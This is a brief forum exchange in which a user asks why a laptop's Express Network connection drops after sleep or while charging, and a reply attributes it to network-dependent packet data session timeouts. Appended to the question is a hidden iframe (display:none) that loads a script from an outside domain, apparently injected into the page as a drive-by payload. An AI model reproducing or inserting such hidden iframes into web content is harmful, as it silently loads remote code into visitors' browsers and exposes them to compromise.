When I connect to the Express Network and it goes dormant...when I shut the lid for a while and then reopen it it is disconnected. This happens as well when I am charging the unit. Any ideas?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

The packet data session will time out after a preset amount of inactivity. It sounds like this varies from market to market and looks like it is network dependant.